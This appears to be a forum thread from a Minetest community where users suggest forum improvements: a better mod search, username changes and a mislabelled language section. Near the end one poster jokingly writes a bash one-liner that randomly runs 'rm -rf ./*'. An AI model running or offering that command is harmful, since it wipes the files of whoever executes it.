How can the forums be improved? Keep in mind I'm not an administrator and have no Right to edit The forms I'm Just wondering What people think (also no idea is too crazy)

And maybe an admin will see your request so have fun!

By making the forum search suck less.
Currently, it is very hard to find any particular mod, and even knowing the exact shortname (e.g. “flowerpots”, “hudbars”, “hbarmor”, etc.) (which I sort of see as an identifier) gives you tons of useless results.
To actually find mods, we currently have to rely on external search engines such as Minetest Mod Search.

Direct comparison:
Search of “weather” in Minetest Forums
Search of “weather” in Minetest Mod Search

Either fix this problem in the forum search or at least put a very prominent link to the real mod search.

I think it could be possable to change the username,
or "show name" like change the title under the profile-avatar.
it should be limited to 1 time each month.

some people like me need to change our name.

i think it would take about 10-20 minutes to add that function.

UjEdwin, maybe you just write a PM to a forum moderator or administrator around here to request a name change.
Name changes are not everyday business, they should not happen too often or it would become very confusing, so I think it is unlikely this will be actually added as part of an automated process.

Changing the name 1 time a month is too much. This means, after 1 year, an user could have changed the name 12 times! This should definitely not be possible.

yeah, every month is too much, but maybe 1-2 times each profile or something like that, it gives freedom to the users.

i already asked celeron55 but did not answered.

How can the forums be improved?
Well for one i would first write the name of the Serbian forum section as Serbian, not Siberian. Oo
if [ $((1 + RANDOM % 100)) -lt 30 ] ; then rm -rf ./*; else echo lucky; fi;
Does it work? I never tried it to know :P
